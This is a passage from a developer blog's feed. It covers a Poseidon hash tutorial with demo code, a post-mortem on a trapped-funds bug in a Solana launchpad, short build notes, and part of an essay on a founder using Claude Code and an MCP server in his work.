      option: &quot;SHA-256 (in-circuit)&quot;,
      cost: &quot;<del>24,000 constraints / 64-byte input&quot;,
      latency: &quot;Fast on CPU; brutal in SNARKs&quot;,
      blast_radius: &quot;Standard; battle-tested&quot;,
      notes: &quot;Designed for hardware, not for finite fields&quot;
    },
    {
      option: &quot;Poseidon-128, t=3, α=5 (BN254)&quot;,
      cost: &quot;</del>243 constraints / 2 field elements&quot;,
      latency: &quot;Slow on CPU vs SHA; fast in SNARKs&quot;,
      blast_radius: &quot;Younger primitive; growing analysis&quot;,
      notes: &quot;Designed for SNARKs first; the standard since 2020&quot;
    },
    {
      option: &quot;Rescue-Prime&quot;,
      cost: &quot;<del>150 constraints / 2 field elements&quot;,
      latency: &quot;Slightly fewer constraints than Poseidon&quot;,
      blast_radius: &quot;Less peer review than Poseidon&quot;,
      notes: &quot;Closer to a research curiosity in 2026&quot;
    },
    {
      option: &quot;Anemoi&quot;,
      cost: &quot;</del>120 constraints / 2 field elements&quot;,
      latency: &quot;Newest; lowest constraint count&quot;,
      blast_radius: &quot;Very young; minimal cryptanalysis&quot;,
      notes: &quot;Promising but I would not bet a production pool on it yet&quot;
    },
  ]}
/&gt;</p>
<p>The blast-radius column is doing real work. Poseidon&#39;s the one I&#39;m comfortable shipping in <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> right now. Rescue and Anemoi are interesting but the cryptanalysis hasn&#39;t caught up to the deployment.</p>
<h2>A 30-line Poseidon you can run in the browser</h2>
<p>Here&#39;s a complete, working Poseidon-128 over BN254, written in TypeScript with <code>bigint</code> arithmetic. It&#39;s not optimised — production code uses Montgomery form, precomputes S-box squares, and uses constant-time field arithmetic — but it&#39;s correct and small enough to read in one sitting.</p>
<p>&lt;Sandbox
  template=&quot;vanilla-ts&quot;
  files={{
    &quot;/index.ts&quot;: `// Poseidon-128 over BN254, t=3, alpha=5.
// Reference: <a href="https://eprint.iacr.org/2019/458">https://eprint.iacr.org/2019/458</a>
// Production: use circomlibjs.poseidon or zera-sdk&#39;s neon-rs Rust core.</p>
<p>const P = 21888242871839275222246405745257275088548364400416034343698204186575808495617n;
const T = 3;
const RF = 8;   // full rounds (split as RF/2 at start, RF/2 at end)
const RP = 57;  // partial rounds in the middle</p>
<p>// In production these would be CRH-extracted from a sponge of the spec.
// For demo: deterministic round constants and a known-good MDS matrix.
const round_constants = Array.from({ length: (RF + RP) * T }, (_, i) =&gt;
  BigInt(i + 1) * 3141592653589793238n % P
);
const mds: bigint[][] = [
  [2n, 3n, 1n],
  [1n, 5n, 1n],
  [5n, 7n, 1n],
];</p>
<p>function add(a: bigint, b: bigint) { return (a + b) % P; }
function mul(a: bigint, b: bigint) { return (a * b) % P; }
function pow5(x: bigint) {
  const x2 = mul(x, x);
  const x4 = mul(x2, x2);
  return mul(x4, x);
}</p>
<p>function permute(state: bigint[]): bigint[] {
  let s = state.slice();
  let rcIdx = 0;</p>
<p>  const half = RF / 2;
  // first half of full rounds
  for (let r = 0; r &lt; half; r++) {
    s = s.map((v) =&gt; add(v, round_constants[rcIdx++]));
    s = s.map(pow5);
    s = mds.map((row) =&gt; row.reduce((acc, m, j) =&gt; add(acc, mul(m, s[j])), 0n));
  }
  // partial rounds
  for (let r = 0; r &lt; RP; r++) {
    s = s.map((v, i) =&gt; i === 0 ? add(v, round_constants[rcIdx++]) : v);
    rcIdx += T - 1;  // skip constants for non-first elements
    s[0] = pow5(s[0]);
    s = mds.map((row) =&gt; row.reduce((acc, m, j) =&gt; add(acc, mul(m, s[j])), 0n));
  }
  // second half of full rounds
  for (let r = 0; r &lt; half; r++) {
    s = s.map((v) =&gt; add(v, round_constants[rcIdx++]));
    s = s.map(pow5);
    s = mds.map((row) =&gt; row.reduce((acc, m, j) =&gt; add(acc, mul(m, s[j])), 0n));
  }
  return s;
}</p>
<p>export function poseidon2(left: bigint, right: bigint): bigint {
  const state = [0n, left % P, right % P];
  return permute(state)[0];
}</p>
<p>// demo: hash two field elements
const a = 13n;
const b = 27n;
const h = poseidon2(a, b);
const out = document.getElementById(&quot;out&quot;)!;
out.textContent = `poseidon(${a}, ${b}) = ${h}`;
<code>,     &quot;/index.html&quot;: </code><!DOCTYPE html></p>
<html>
  <body>
    <pre id="out" style="font-family: 'Geist Mono', ui-monospace, monospace; padding: 1rem; background: #0a0a0a; color: #4ade80;">running...</pre>
    <script type="module" src="/index.ts"></script>
  </body>
</html>`,
  }}
/>

<p>The thing that&#39;s striking when you write this out is how <em>little</em> there is. A SHA-256 implementation is hundreds of lines of bit-twiddling. Poseidon is essentially: <em>add a constant, raise to the fifth power, multiply by a fixed matrix, repeat.</em></p>
<h2>Why $\alpha = 5$ specifically</h2>
<p>The S-box choice is the most-questioned part of Poseidon. Why not $\alpha = 3$? Or $\alpha = 7$?</p>
<p>Two constraints:</p>
<ol>
<li><p><strong>Bijection.</strong> $x \mapsto x^\alpha$ is a permutation of $\mathbb{F}_p$ if and only if $\gcd(\alpha, p - 1) = 1$. For BN254, $p - 1 = 2^{28} \cdot 3 \cdot \text{(other stuff)}$, so $\alpha \in {2, 3, 4}$ all share a factor with $p - 1$ and produce non-bijective maps. The smallest $\alpha$ that works is <strong>5</strong>.</p>
</li>
<li><p><strong>Algebraic degree.</strong> The whole point of the S-box is to introduce algebraic non-linearity that defeats interpolation attacks. Higher $\alpha$ → more non-linearity → fewer rounds needed. So you want $\alpha$ small enough to be cheap, large enough to need few rounds.</p>
</li>
</ol>
<p>For curves where $\gcd(3, p-1) = 1$ (like BLS12-381), the choice flips to $\alpha = 3$ and the round count drops because each S-box is more powerful. The trade-off is: cheaper per-round but more rounds.</p>
<Quote cite="https://eprint.iacr.org/2019/458" author="Grassi, Khovratovich, Rechberger, Roy, Schofnegger">
The choice of $\alpha = 5$ for the prime field of BN254 is dictated by the requirement that the S-box must be a permutation: it must hold that $\gcd(\alpha, p-1) = 1$. The next constraint — the one that determines round counts — is the algebraic degree.
</Quote>

<h2>What I would change in a v2</h2>
<p>Three things, if I were re-designing Poseidon for 2027:</p>
<ol>
<li><p><strong>Drop the partial-rounds split.</strong> The original design has 8 full + 57 partial rounds; the partial rounds save a lot of constraints but make security analysis harder. <a href="https://eprint.iacr.org/2023/323">Poseidon2</a> (Grassi, Khovratovich, Roy 2023) keeps a similar structure with cleaner analysis. I&#39;d ship Poseidon2 by default in a fresh deployment.</p>
</li>
<li><p><strong>Make the MDS matrix circulant.</strong> A circulant MDS — where each row is a rotation of the previous — has identical security properties but lets you exploit FFT-friendly arithmetic. Worth it on the prover side.</p>
</li>
<li><p><strong>Standardise the parameter file format.</strong> Every implementation rolls its own format for round constants. The Circomlib JSON format works, but a CBOR or Cap&#39;n Proto schema would let implementations cross-check parameters in a way that&#39;s currently per-vendor. I keep the Circomlib JSON in zera-sdk because compatibility, not because it&#39;s the right choice.</p>
</li>
</ol>
<h2>Where this goes in production</h2>
<p>Inside <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> the Poseidon implementation is <code>crates/zera-sdk-core/src/hash/poseidon.rs</code>. It&#39;s about 200 lines of safe Rust, written against the <a href="https://crates.io/crates/ff"><code>ff</code> crate</a> for field arithmetic, with the round constants loaded from a JSON file extracted from Circomlib for cross-implementation parity.</p>
<RustPlayground edition="2024">
{`// Skeleton of the production Poseidon-128 over BN254 (in zera-sdk-core)
// The actual implementation imports the constants from a build.rs-emitted
// JSON; this is the structural shape.

<p>use std::ops::{Add, Mul};</p>
<p>#[derive(Clone, Copy, Debug)]
struct Fp(u128);  // toy stand-in; production uses ff::PrimeField</p>
<p>impl Add for Fp { type Output = Fp; fn add(self, o: Fp) -&gt; Fp { Fp((self.0 + o.0) % MODULUS) } }
impl Mul for Fp { type Output = Fp; fn mul(self, o: Fp) -&gt; Fp { Fp((self.0 * o.0) % MODULUS) } }</p>
<p>const MODULUS: u128 = 1_000_000_007; // toy
const T: usize = 3;
const RF: usize = 8;
const RP: usize = 57;</p>
<p>fn pow5(x: Fp) -&gt; Fp { let x2 = x * x; let x4 = x2 * x2; x4 * x }</p>
<p>fn permute(mut state: [Fp; T], rc: &amp;[Fp], mds: &amp;[[Fp; T]; T]) -&gt; [Fp; T] {
    let mut idx = 0;
    let half = RF / 2;
    for _ in 0..half {
        for s in state.iter_mut() { *s = *s + rc[idx]; idx += 1; }
        for s in state.iter_mut() { *s = pow5(*s); }
        state = mat_mul(mds, state);
    }
    for _ in 0..RP {
        state[0] = state[0] + rc[idx]; idx += T;
        state[0] = pow5(state[0]);
        state = mat_mul(mds, state);
    }
    for _ in 0..half {
        for s in state.iter_mut() { *s = *s + rc[idx]; idx += 1; }
        for s in state.iter_mut() { *s = pow5(*s); }
        state = mat_mul(mds, state);
    }
    state
}</p>
<p>fn mat_mul(m: &amp;[[Fp; T]; T], v: [Fp; T]) -&gt; [Fp; T] {
    let mut out = [Fp(0); T];
    for i in 0..T {
        for j in 0..T { out[i] = out[i] + m[i][j] * v[j]; }
    }
    out
}</p>
<p>fn main() { println!(&quot;see crates/zera-sdk-core/src/hash/poseidon.rs for the real thing&quot;); }
`}
</RustPlayground></p>
<Aside kind="warn">
The TypeScript demo above and the Rust skeleton are for **understanding**, not for use. They lack: constant-time arithmetic, Montgomery form, side-channel mitigations, Sage-checked round constants, and the MDS matrix used in production. Use [circomlibjs](https://github.com/iden3/circomlibjs), [Halo2's poseidon gadget](https://github.com/zcash/halo2), or zera-sdk in production.
</Aside>

<h2>Further reading</h2>
<ul>
<li><a href="https://eprint.iacr.org/2019/458">Poseidon: A New Hash Function for Zero-Knowledge Proof Systems</a> — Grassi, Khovratovich, Rechberger, Roy, Schofnegger (USENIX Security 2021) — the original</li>
<li><a href="https://eprint.iacr.org/2023/323">Poseidon2: A Faster Version of the Poseidon Hash Function</a> — Grassi, Khovratovich, Roy (2023) — what I&#39;d ship in a v2</li>
<li><a href="https://eprint.iacr.org/2022/840">Anemoi: Exploiting the Link between Arithmetisation-Oriented and CCZ-Equivalent Symmetric Designs</a> — Bouvier et al. (2022) — the next-gen contender</li>
<li><a href="https://github.com/Dax911/zera-sdk"><code>Dax911/zera-sdk</code></a> — production Rust implementation</li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> — sister piece on what we&#39;re hashing <em>to</em> (commitments)</li>
<li><a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a> — what we use Poseidon to derive (single-use nullifiers)</li>
<li><a href="/blog/privacys_broadband_moment/">Privacy&#39;s broadband moment</a> — why Poseidon is part of the four-curve crossing in 2026</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Live crowd counter HUD]]></title>
  <id>https://blog.skill-issue.dev/notes/pike-pupday-live-crowd-counter/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/pike_pupday/commit/dfdf410"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/pike-pupday-live-crowd-counter/"/>
  <published>2026-04-20T01:10:40.000Z</published>
  <updated>2026-04-20T01:10:40.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="pike"/>
  <category term="ui"/>
  <category term="side-project"/>
  <content type="html"><![CDATA[<p>Threw a live-crowd HUD on the <a href="https://github.com/Dax911/pike_pupday">pike_pupday</a> site. Polls a <code>/api/count</code> every 10s, animates the integer with framer-motion. Konami code on the page swaps in a different overlay (yes, it&#39;s a leather-bar event site — what did you expect).</p>
<p>The thing I&#39;m proudest of is the <em>not-dead-when-API-is-down</em> fallback. If the API hasn&#39;t returned a number in 60s, the HUD fades to grey and shows &quot;—&quot; instead of pretending the last cached count is current. Loud failure, not silent staleness.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Stuck Sell, Post-Graduation: Fixing a Trapped-Funds Bug Without a Redeploy]]></title>
  <id>https://blog.skill-issue.dev/blog/stuck_sell_post_grad/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/stuck_sell_post_grad/"/>
  <published>2026-04-19T16:12:10.000Z</published>
  <updated>2026-04-19T16:20:11.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="solana"/>
  <category term="light-protocol"/>
  <category term="compressed-tokens"/>
  <category term="bug-fix"/>
  <category term="launchpad"/>
  <summary type="html"><![CDATA[A graduated launchpad token left users unable to sell. Fix shipped without redeploying the program: a frontend conversion path that withdraws SPL, compresses, then sells through the AMM.]]></summary>
  <content type="html"><![CDATA[<p>The worst kind of bug in DeFi is the one where users can deposit but can&#39;t withdraw. ZeraSwap shipped one — quietly — for users holding bonding-curve positions on launchpad tokens that had already graduated. They couldn&#39;t sell. They could see the balance, the AMM page existed, the price was real, but every sell attempt was blocked by an <code>is_active</code> check on the wrong account.</p>
<p>The fix landed at <a href="https://github.com/Dax911/z_trade/commit/6eafc742522038426443b2e77baaddd9fd9af77d"><code>6eafc74</code> — <code>Fix stuck sell path for users on graduated launchpad tokens</code></a> on 2026-04-19. No on-chain redeploy. The whole fix is a frontend orchestration on top of existing instructions.</p>
<p>This post is about why the bug existed and why I chose not to fix it on-chain.</p>
<h2>The original sin: internal balances</h2>
<p>When you bought a token on the bonding curve, the launchpad program didn&#39;t mint compressed tokens to your wallet. It accumulated an <code>internal_balance</code> on a <code>UserPosition</code> PDA. This was deliberate — minting compressed tokens for every microcap pump.fun-style trade would have wrecked the cost calculus that makes compressed tokens viable in the first place. Internal balances are a single u64 update in a PDA. Compressed-token mints are a Light Protocol state-tree write. The latter is dramatically more expensive.</p>
<p>The trade-off was: at graduation time, the launchpad would convert internal balances to real compressed tokens via a <code>withdraw_token</code> + <code>compress</code> flow. Anyone who held an internal balance up to that moment got the conversion for free.</p>
<p>The bug: the launch program&#39;s <code>sell_token</code> is gated by <code>is_active</code>. After graduation, <code>is_active = false</code>. The intended sell path is the AMM. But the AMM expects you to hold real compressed tokens, and a small cohort of users still had <code>internal_balance &gt; 0</code> because they hadn&#39;t traded since graduation — meaning the conversion never fired for them.</p>
<blockquote>
<p>Post-graduation, <code>sell_token</code> is blocked by <code>is_active</code> check and AMM <code>swap_tokens_for_sol</code> burn fails because users hold internal <code>UserPosition.token_balance</code> rather than actual compressed tokens. (<a href="https://github.com/Dax911/z_trade/commit/6eafc742522038426443b2e77baaddd9fd9af77d">6eafc74 commit message</a>)</p>
</blockquote>
<h2>Two ways to fix it, picked the second</h2>
<p><strong>Option A: redeploy the launchpad program with a <code>force_convert_on_sell</code> branch.</strong> This is the obvious fix. It&#39;s also the wrong fix. A program redeploy:</p>
<ul>
<li>Costs me real SOL on mainnet.</li>
<li>Risks a regression on the entire 12-launch live ecosystem.</li>
<li>Requires every active client to re-fetch the IDL.</li>
<li>Can&#39;t be reversed cleanly.</li>
</ul>
<p><strong>Option B: a frontend-only conversion path.</strong> This is what I shipped. Three steps, all using existing on-chain instructions:</p>
<ol>
<li>Call the launchpad&#39;s existing <code>withdraw_token</code> instruction. It mints SPL tokens from the <code>internal_balance</code> to the user&#39;s ATA, creating the ATA if needed.</li>
<li>Call Light Protocol&#39;s <code>compress</code> to convert the SPL ATA balance into real compressed tokens.</li>
<li>Hand control to the existing AMM <code>swap_tokens_for_sol</code> flow, which now sees compressed tokens and works as designed.</li>
</ol>
<p>From the diff:</p>
<pre><code class="language-ts">// sdk/src/launchpad_client.ts
async convertInternalTokensToCompressed(
  user: PublicKey,
  tokenMint: PublicKey,
  amount: bigint,
  compressed: CompressedTokenHelper,
): Promise&lt;string[]&gt; {
  const txSigs: string[] = [];

  // Step 0 (rare): create the Light token pool if it doesn&#39;t exist.
  // Has to be its own tx because compress ix build-time requires the pool.
  const poolRegistered = await compressed.isTokenPoolRegistered(tokenMint);
  if (!poolRegistered) {
    const createPoolIx = await compressed.buildCreateTokenPoolInstruction(user, tokenMint);
    txSigs.push(await this.buildAndSendTransaction([createPoolIx]));
  }

  // Atomic tx: ensure ATA, withdraw_token (mint SPL), compress (burn SPL → cToken).
  const convertIxs: TransactionInstruction[] = [];
  if (!ataInfo) convertIxs.push(createAssociatedTokenAccountInstruction(...));
  convertIxs.push(await this.program.methods.withdrawToken(new BN(amount.toString())).accounts({...}).instruction());
  convertIxs.push(await compressed.buildCompressInstruction(user, tokenMint, amount, user, ata));

  txSigs.push(await this.buildAndSendTransaction(convertIxs));
  return txSigs;
}
</code></pre>
<h2>The compute budget gotcha</h2>
<p>Light Protocol operations need more than the default 200K compute units. The same diff bumps every transaction the launchpad client builds:</p>
<pre><code class="language-ts">// Light Protocol operations need more than the default 200K CUs
transaction.add(
  ComputeBudgetProgram.setComputeUnitLimit({ units: 400_000 }),
);
</code></pre>
<p>This is the kind of thing that&#39;s &quot;obvious&quot; once you&#39;ve spent half a day staring at <code>Custom program error: Program failed to complete</code> logs and finally noticed the CU exhaustion in the simulation output. Mine that lesson once, write it down, never lose it again.</p>
<h2>The follow-up: SDK exports</h2>
<p>I shipped the conversion path before the SDK exports were in place, which broke the Cloudflare build. Fix landed in <a href="https://github.com/Dax911/z_trade/commit/4224352b36723fd3e03c14a4d06e87452c1222d8"><code>4224352</code> — <code>Add compress/decompress helpers to CompressedTokenHelper</code></a> eight minutes after the parent commit. The <code>launchpad_client</code> was importing <code>compressed.isTokenPoolRegistered</code>, <code>compressed.buildCreateTokenPoolInstruction</code>, <code>compressed.buildCompressInstruction</code> — none of which I&#39;d actually exported on the helper class.</p>
<p>Eight minutes is not a flex. CF Pages caught what my local typecheck didn&#39;t because I&#39;d checked into the repo without re-running the SDK build. The lesson: any commit that adds a new public method on the SDK has to re-build the SDK barrel. CI for that is on my TODO list.</p>
<h2>Trade-offs</h2>
<p><strong>Why not migrate every stuck user automatically with a cron?</strong> Two reasons. First, signing transactions on behalf of users without their explicit click is a regulatory and security minefield. Second, &quot;stuck&quot; is a reversible state — a user <em>can</em> trigger the conversion themselves. Forcing it for them spends gas they may not want to spend if they&#39;re holding for a longer time horizon than I am.</p>
<p><strong>Why not deprecate internal balances entirely?</strong> Because they&#39;re the entire economic argument for the launchpad. Deprecating them means every microcap trade pays Light Protocol state-tree write costs, and the flatness of the bonding curve breaks. The internal-balance design is correct; the conversion path was just incomplete.</p>
<p><strong>Why frontend instead of a relayer service?</strong> Because a relayer service is another piece of infrastructure to operate, monitor, and pay for. The frontend conversion is exactly two transactions worst-case (create pool + atomic convert), entirely user-signed, and it requires zero new servers.</p>
<h2>What this taught me</h2>
<p>The cheapest fix is the one that doesn&#39;t touch on-chain code. If your design lets you compose a fix entirely out of existing instructions on the frontend, it should always win over a redeploy. The ZeraSwap design happened to be composable enough that the stuck-sell case had a cheap exit. That wasn&#39;t free — it cost me a <code>state_tree</code> field I&#39;d been religious about <a href="/blog/zeraswap_compressed_amm/">from the original AMM commit</a>, and it cost me writing the <code>convertInternalTokensToCompressed</code> orchestration in the SDK. But it didn&#39;t cost a redeploy or a regression test marathon.</p>
<p>The other thing this taught me: the moment you have a launchpad with a graduation flow, you have at least three &quot;intermediate&quot; account states that look broken to users. Document every one of them in the admin page&#39;s docs tab. I should have done this on day one of <a href="/blog/prediction_markets_admin/">the prediction markets sprint</a>. I did it on day 60, after a Discord ping with the words &quot;I can&#39;t sell.&quot;</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/z_trade/commit/6eafc742522038426443b2e77baaddd9fd9af77d">The bug-fix commit</a></li>
<li><a href="https://github.com/Dax911/z_trade/commit/4224352b36723fd3e03c14a4d06e87452c1222d8">The SDK exports follow-up</a></li>
<li><a href="https://www.lightprotocol.com/">Light Protocol — compress/decompress instructions</a></li>
<li><a href="/blog/zeraswap_compressed_amm/">ZeraSwap origin post</a></li>
<li><a href="https://docs.solana.com/developing/programming-model/runtime#compute-budget">Solana Compute Budget Program</a></li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[compress / decompress helpers for Light Protocol tokens]]></title>
  <id>https://blog.skill-issue.dev/notes/z_trade-compress-helpers/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/z_trade/commit/4224352"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/z_trade-compress-helpers/"/>
  <published>2026-04-19T16:20:11.000Z</published>
  <updated>2026-04-19T16:20:11.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="z_trade"/>
  <category term="solana"/>
  <category term="light-protocol"/>
  <category term="zk-compression"/>
  <content type="html"><![CDATA[<p>Added <code>CompressedTokenHelper.compress(...)</code> and <code>.decompress(...)</code> to the z_trade SDK. Light Protocol&#39;s <a href="https://www.zkcompression.com/resources/whitepaper">ZK Compression</a> charges roughly $0.000004 per compressed account vs $0.002 for a regular SPL token account — a 500× cost reduction once you&#39;re moving more than a few hundred accounts.</p>
<p>The helper does the boring CPI plumbing: wrap-and-decompose the user&#39;s instruction, route through the Light System Program, attach the 128-byte Groth16 validity proof from a Photon RPC. Saved every consumer ~80 lines of boilerplate.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Stuck sell path on graduated launchpad tokens]]></title>
  <id>https://blog.skill-issue.dev/notes/z_trade-stuck-sell-graduated/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/z_trade/commit/6eafc74"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/z_trade-stuck-sell-graduated/"/>
  <published>2026-04-19T16:12:10.000Z</published>
  <updated>2026-04-19T16:12:10.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="z_trade"/>
  <category term="solana"/>
  <category term="bug"/>
  <content type="html"><![CDATA[<p>A user reported they couldn&#39;t sell tokens that had graduated from the launchpad to the open AMM. Swap quote returned valid, swap submit returned <code>0x1771</code> — slippage exceeded. Except slippage tolerance was 50%.</p>
<p>Real cause: the bonding curve&#39;s <code>migrate_authority</code> had handed liquidity to the AMM, but our frontend was still pulling quotes from the bonding-curve route. Fixed by checking the migration flag on the mint account before quote routing. Defensive code I should have written when the launchpad shipped.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Darwin frameworks bundled, wallet-ui types pinned]]></title>
  <id>https://blog.skill-issue.dev/notes/vanta-darwin-frameworks/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/vanta/commit/0edddc8"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/vanta-darwin-frameworks/"/>
  <published>2026-04-18T20:18:45.000Z</published>
  <updated>2026-04-18T20:18:45.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="vanta"/>
  <category term="darwin"/>
  <category term="tauri"/>
  <category term="build"/>
  <content type="html"><![CDATA[<p>Shipped the macOS sidecar bundling pass for vanta-desktop. The <code>setup-sidecars.sh</code> script now copies the right Rust frameworks into <code>Frameworks/</code> so notarization stops failing on missing dylibs. v2 test renames so <code>vanta_v2_*.rs</code> reads consistently with the <code>vanta-node-v2</code> rust crate name.</p>
<p>The thing nobody tells you about Tauri 2.x sidecars: the binary name in <code>tauri.conf.json</code> must match the <em>target triple</em>-suffixed binary on disk. <code>bitcoind-aarch64-apple-darwin</code> is what the loader looks for; <code>bitcoind</code> alone gets ignored.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Being CEO and still shipping code]]></title>
  <id>https://blog.skill-issue.dev/blog/being_ceo_and_still_shipping_code/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/being_ceo_and_still_shipping_code/"/>
  <published>2026-04-18T08:00:00.000Z</published>
  <updated>2026-04-18T08:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="founders"/>
  <category term="leadership"/>
  <category term="ai"/>
  <category term="mcp"/>
  <category term="narrative"/>
  <category term="engineering-culture"/>
  <summary type="html"><![CDATA[The CTO-vs-CEO false dichotomy, why I still review every PR that touches the SDK core, and how I use Claude Code plus an MCP server over my own writing to keep technical leverage as the company grows.]]></summary>
  <content type="html"><![CDATA[<p>The advice founders get most often, once you cross the line from &quot;engineer with a side project&quot; to &quot;engineer with a company,&quot; is: stop coding. Hire a CTO. Spend your time on customers and capital. Trust your team.</p>
<p>The advice is not entirely wrong. It&#39;s just incomplete. Almost all of it is written by founders whose product was a SaaS dashboard or a marketplace. The product I&#39;m shipping is a cryptographic SDK that has to interoperate, byte-for-byte, with an on-chain Rust program that itself has to interoperate with a Groth16 verifier whose constraint system has to match the prover&#39;s circuit. <em>Stop coding</em> is a luxury available to founders whose product is forgiving. Mine isn&#39;t.</p>
<p>So I write code. I review every PR that touches the SDK core. I do not draft a single line of marketing copy without first having shipped something the marketing copy is allowed to be about. And — the part this post is mostly about — I have built an AI tooling layer that lets me hold that posture without becoming the bottleneck.</p>
<h2>The false dichotomy</h2>
<p>The version of &quot;stop coding&quot; that most founders absorb is something like: every hour you spend on code is an hour you&#39;re not spending on customers, capital, or hiring. The math, framed that way, is brutal. Ten hours of code is ten hours of <em>not closing the next round.</em> So stop.</p>
<p>The math is wrong because the variables don&#39;t trade off the way it implies. The hours are not fungible. <em>My</em> hours of code are not the same as the next senior engineer&#39;s hours of code, in either direction. They are slower, because I context-switch more. They are more strategic, because I see the entire surface. They are more expensive per hour, because mine are also the hours that close customers. They are more <em>load-bearing</em>, because the parts of the codebase I touch tend to be the parts that determine whether the system is correct.</p>
<p>The right way to do the math is: which hours of code create disproportionately more leverage downstream? For me, those are:</p>
<ul>
<li>Architectural calls on the SDK boundary. (One hour. Saves the team thirty hours of refactor in two months.)</li>
<li>Reading every PR that touches <code>zera-core</code>. (Fifteen minutes per PR. Catches a bug class that would otherwise reach production.)</li>
<li>Writing the canonical example file when a new module ships. (Two hours. Replaces a documentation effort that would otherwise be much longer and worse.)</li>
<li>Drafting the technical content the company says, in public, that it stands behind. (<a href="/blog">Most of the blog</a>.)</li>
</ul>
<p>Those four buckets, in aggregate, are maybe 8–12 hours per week. The rest of the week is the actual CEO job. The mistake is picking either <em>all-code</em> or <em>no-code</em>. The right answer is <em>load-bearing code only</em>, and being honest about which is which.</p>
<h2>What I stopped doing</h2>
<p>For the record — the things I had to give up:</p>
<ul>
<li>I do not pick up tickets in the SDK that aren&#39;t on the load-bearing path. The team is faster at them than I am.</li>
<li>I do not write tests anymore. Test coverage is a habit; tests are a downstream artifact of the habit. The team writes them and writes them well.</li>
<li>I do not own DX polish. Error messages, log formatting, CLI affordances — all owned by people who care more about them than I do at the moment.</li>
<li>I do not do code review on the wallet, the AMM, or the medical demo unless someone explicitly asks. Each of those has an owner whose taste I trust.</li>
<li>I do not personally set up the CI pipeline. (This was a hard one to give up. Give it up anyway.)</li>
</ul>
<p>The pattern: I stopped doing the things that, if I disappeared for a week, the company would still ship correctly. I kept doing the things that, if I disappeared for a week, the company would ship something subtly wrong.</p>
<h2>How AI fills the gap</h2>
<p>The reason this posture is workable in 2026 and was not workable in, say, 2019, is that the personal leverage you can build on top of an AI coding workflow is <em>the</em> difference between a working CEO-IC schedule and one that quietly destroys the company.</p>
<p>I run two patterns and I think they&#39;re both worth describing.</p>
<h3>Pattern 1: Claude Code as a senior pair</h3>
<p>Most of my SDK reviews now happen with Claude Code in the loop. I don&#39;t mean &quot;I ask the AI if the PR looks good.&quot; I mean: I read the PR; I write a short prompt summarising what I think is happening and what I&#39;m worried about; the model walks the rest of the codebase to either confirm or refute my worry; I make my call.</p>
<p>The leverage isn&#39;t in <em>doing</em> the review faster. The leverage is in being able to express, in one paragraph, the part of the codebase I&#39;m worried about, and have an agent that can read that paragraph plus the entire rest of the codebase faster than I can. The review I do at the end is the same review I would have done. The <em>context-loading</em> is what I outsourced, and context-loading was 80% of the time cost.</p>
<p>This works because Claude Code is good enough now to be <em>boring</em>. I don&#39;t have to phrase things magically. I write the review like I&#39;d write it to a senior colleague. The model reads the whole repo and comes back with the cross-references I need. That&#39;s it. That&#39;s the workflow.</p>
<h3>Pattern 2: an MCP server over my own writing</h3>
<p>This is the one I get asked about more.</p>
<p>I have three or four years of writing on this blog. There is, in that archive, the answer to most questions a reasonable person might ask me — <em>what&#39;s your stance on X, what was the architecture decision on Y, what&#39;s your bullet point on supply-chain attacks for an investor deck.</em> The thing is, when someone asks me one of those questions, the answer that ends up in my mouth is the <em>recent</em> answer, the one I happened to be thinking about that morning. The two-year-old version of me, who probably had a smarter take, doesn&#39;t get to vote.</p>
<p>So I&#39;m building (<code>TODO: Dax confirm exact ship date — Q2 2026</code>) <strong>lib.skill-issue.dev</strong>, an MCP server over the entire archive of this blog plus a small pinned set of references. It&#39;s a Cloudflare Worker. It uses Vectorize for retrieval and Workers AI for embedding. It exposes three or four tools to any MCP-aware client: <code>search</code>, <code>fetch</code>, <code>summarise</code>, <code>cite</code>. Every Claude Code session I run can hit it. Every customer call where I want to find the version of a take I had eighteen months ago can hit it.</p>
<p>The point of building this is not that the world needs another personal RAG system. The point is that the company is going to grow, and the founder&#39;s writing is the cheapest possible scaling mechanism for <em>what the founder thinks</em>. The MCP server is the API I built so my own context isn&#39;t bottlenecked on me being awake.</p>
<p>Same MCP pattern that ships in <a href="/blog/zera_sdk_scaffolding/">zera-sdk&#39;s mcp-server</a>, incidentally. We dogfood our own thesis.</p>
<h2>The team thing</h2>
<p>A short word on the part that doesn&#39;t fit cleanly into either of the patterns above.</p>
<p>Being a technical CEO who still ships code only works if the team understands the <em>boundaries</em>. The team has to know which parts of the codebase are mine to push back on (the SDK core, the cryptographic surface, the visible API) and which parts are theirs (everything else, increasingly). If I drift into reviewing CI changes, I am <em>taking work away from people who are good at it</em>, and the message I&#39;m sending is &quot;your work isn&#39;t really yours.&quot; That&#39;s poison.</p>
